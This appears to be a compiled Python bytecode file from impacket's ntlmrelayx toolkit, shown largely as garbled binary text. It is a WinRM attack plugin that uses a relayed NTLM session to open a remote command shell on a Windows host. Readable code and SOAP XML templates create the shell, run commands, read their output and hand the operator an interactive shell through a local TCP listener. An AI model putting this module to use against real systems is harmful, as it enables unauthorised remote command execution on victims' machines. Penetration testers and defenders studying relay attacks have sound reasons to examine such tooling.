o
    àý°jç'  ã                   @   sn   d dl Z d dlZd dlZd dlZd dlmZ d dlmZ d dlm	Z	 dZ
G dd„ dejƒZG dd„ deƒZdS )	é    N)ÚLOG)ÚProtocolAttack)ÚTcpShellÚWINRMAttackc                   @   s4   e Zd Zdd„ Zdd„ Zdd„ Zdd„ Zd	d
„ ZdS )Ú
WinRMShellc                 C   sÆ   t jj| |j|jd� |jt_|jt_|jt_d| _|| _|| _	d| _
d | _d| _d| _d | _g | _d | _d}t|ƒddœ}| j	jd	d
||d� | j	 ¡ }t d| ¡  ¡ ¡ }ra| d¡| _d S d S )N)ÚstdinÚstdoutFz
# zType help for list of commandsTa^  
        <?xml version="1.0" encoding="utf-8"?>
        <env:Envelope
            xmlns:env="http://www.w3.org/2003/05/soap-envelope"
            xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
            xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
            xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"
            xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">
            <env:Header>
                <a:To>http://windows-host:5985/wsman</a:To>
                <a:ReplyTo>
                    <a:Address mustUnderstand="true">
                        http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
                    </a:Address>
                </a:ReplyTo>
                <a:MessageID>uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a</a:MessageID>
                <a:Action mustUnderstand="true">
                    http://schemas.xmlsoap.org/ws/2004/09/transfer/Create
                </a:Action>
                <w:ResourceURI mustUnderstand="true">
                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
                </w:ResourceURI>
                <w:OperationTimeout>PT20S</w:OperationTimeout>
                <w:MaxEnvelopeSize mustUnderstand="true">153600</w:MaxEnvelopeSize>
                <w:OptionSet>
                    <w:Option Name="WINRS_NOPROFILE">FALSE</w:Option>
                    <w:Option Name="WINRS_CODEPAGE">437</w:Option>
                </w:OptionSet>
                <w:Locale xml:lang="en-US"/>
                <p:DataLocale xml:lang="en-US"/>
            </env:Header>
            <env:Body>
                <rsp:Shell>
                    <rsp:InputStreams>stdin</rsp:InputStreams>
                    <rsp:OutputStreams>stdout stderr</rsp:OutputStreams>
                </rsp:Shell>
            </env:Body>
        </env:Envelope>
        ú"application/soap+xml;charset=UTF-8©zContent-LengthzContent-TypeÚPOSTú/wsman©ÚheadersÚbodyz/<w:Selector\s+Name="ShellId">(.*?)</w:Selector>é   )ÚcmdÚCmdÚ__init__r   r   ÚsysÚstderrÚuse_rawinputÚshellÚclientÚpromptÚtidÚintroÚloggedInÚlast_outputÚ
completionÚshell_idÚlenÚrequestÚgetresponseÚreÚsearchÚreadÚdecodeÚgroup)ÚselfÚ	tcp_shellr   Úinitiate_shellr   ÚresÚmatch© r-   ú£/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/winrmattack.pyr      s.   )þ
ÿzWinRMShell.__init__c                 C   s   d S ©Nr-   )r(   r-   r-   r.   Ú	emptylinee   s   zWinRMShell.emptylinec                 C   sH  |  ¡ sd S |  ¡ dkr|  ¡  d| j› d|› d�}| jjddtt|ƒƒddœ|d	� | j ¡ }| ¡  	¡ }t
 d
|¡ d¡}d| j› d|› d�}| jjddtt|ƒƒddœ|d	� | j ¡ }| ¡  	¡ }t
 d|¡}|D ]4}zt |¡j	ddd�  ¡ }	|	r‚t|	ƒ W qm ty¡ }
 zt d|
› �¡ t|ƒ W Y d }
~
qmd }
~
ww d S )NÚexitaH  
        <?xml version="1.0" encoding="utf-8"?>
        <env:Envelope
            xmlns:env="http://www.w3.org/2003/05/soap-envelope"
            xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
            xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
            xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">
            <env:Header>
                <a:To>http://windows-host:5985/wsman</a:To>
                <a:ReplyTo>
                    <a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
                </a:ReplyTo>
                <a:Action mustUnderstand="true">
                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command
                </a:Action>
                <a:MessageID>uuid:10000000-0000-0000-0000-000000000002</a:MessageID>
                <w:ResourceURI mustUnderstand="true">
                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
                </w:ResourceURI>
                <w:SelectorSet>
                    <w:Selector Name="ShellId">z£</w:Selector>
                </w:SelectorSet>
            </env:Header>
            <env:Body>
                <rsp:CommandLine>
                    <rsp:Command>zr</rsp:Command>
                </rsp:CommandLine>
            </env:Body>
            </env:Envelope>
            r   r   r	   r
   r   z$<rsp:CommandId>(.*?)</rsp:CommandId>r   aH  
        <?xml version="1.0" encoding="utf-8"?>
        <env:Envelope
            xmlns:env="http://www.w3.org/2003/05/soap-envelope"
            xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
            xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
            xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">
            <env:Header>
                <a:To>http://windows-host:5985/wsman</a:To>
                <a:ReplyTo>
                    <a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
                </a:ReplyTo>
                <a:Action mustUnderstand="true">
                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive
                </a:Action>
                <a:MessageID>uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a</a:MessageID>
                <w:ResourceURI mustUnderstand="true">
                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
                </w:ResourceURI>
                <w:SelectorSet>
                    <w:Selector Name="ShellId">z°</w:Selector>
                </w:SelectorSet>
            </env:Header>
            <env:Body>
                <rsp:Receive>
                    <rsp:DesiredStream CommandId="z{">stdout stderr</rsp:DesiredStream>
                </rsp:Receive>
            </env:Body>
        </env:Envelope>
        z1<rsp:Stream Name="stdout"[^>]*>(.*?)</rsp:Stream>zutf-8Úignore)ÚerrorszFailed to decode output: )ÚstripÚdo_exitr   r   r!   Ústrr    r"   r%   r&   r#   r$   r'   ÚfindallÚbase64Ú	b64decodeÚprintÚ	Exceptionr   Úerror)r(   ÚcommandÚexecute_command_xmlÚresponser   Ú
command_idÚreceive_xmlÚmatchesr,   Úcommand_outputÚer-   r-   r.   Úonecmdh   sX   ìç

þý
ìç

þý
€€þûzWinRMShell.onecmdc                 C   sd   d| j › d�}t|ƒddœ}| jjdd||d� | j ¡ }| ¡  | jd ur+| j ¡  t 	d¡ d	S )
Naî  
        <?xml version="1.0" encoding="utf-8"?>
        <env:Envelope
            xmlns:env="http://www.w3.org/2003/05/soap-envelope"
            xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
            xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">
            <env:Header>
                <a:To>http://windows-host:5985/wsman</a:To>
                <a:ReplyTo>
                    <a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
                </a:ReplyTo>
                <a:Action mustUnderstand="true">
                    http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete
                </a:Action>
                <a:MessageID>uuid:10000000-0000-0000-0000-000000000004</a:MessageID>
                <w:ResourceURI mustUnderstand="true">
                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
                </w:ResourceURI>
                <w:SelectorSet>
                    <w:Selector Name="ShellId">z�</w:Selector>
                </w:SelectorSet>
            </env:Header>
            <env:Body/>
        </env:Envelope>
        r	   r
   r   r   r   zEWinRM shell destroyed successfully. You can now leave the NC shell :)T)
r   r    r   r!   r"   r%   r   Úcloser   Úinfo)r(   Údestroy_shellr   r+   r-   r-   r.   r5   Ê   s   íþ



zWinRMShell.do_exitc                 C   s   t dƒ dS )NzBye!
T)r:   )r(   Úliner-   r-   r.   Údo_EOFõ   s   zWinRMShell.do_EOFN)Ú__name__Ú
__module__Ú__qualname__r   r0   rE   r5   rJ   r-   r-   r-   r.   r      s    Ib+r   c                   @   s$   e Zd ZdgZddd„Zdd„ ZdS )r   ÚWINRMSNc                 C   s    t  | |||||¡ tƒ | _d S r/   )r   r   r   r)   )r(   ÚconfigÚWINRMClientÚusernameÚtargetÚrelay_clientr-   r-   r.   r   ü   s   zWINRMAttack.__init__c                 C   s8   t  d| jj› �¡ | j ¡  t| j| jƒ}| ¡  d S )Nz6Started interactive WinRMS shell via TCP on 127.0.0.1:)r   rG   r)   ÚportÚlistenr   r   Úcmdloop)r(   r   r-   r-   r.   Úrun   s   
zWINRMAttack.run)NN)rK   rL   rM   ÚPLUGIN_NAMESr   rW   r-   r-   r-   r.   r   ù   s    
)r#   r   r   r8   Úimpacketr   Ú$impacket.examples.ntlmrelayx.attacksr   Ú+impacket.examples.ntlmrelayx.utils.tcpshellr   ÚPROTOCOL_ATTACK_CLASSr   r   r   r-   r-   r-   r.   Ú<module>   s    `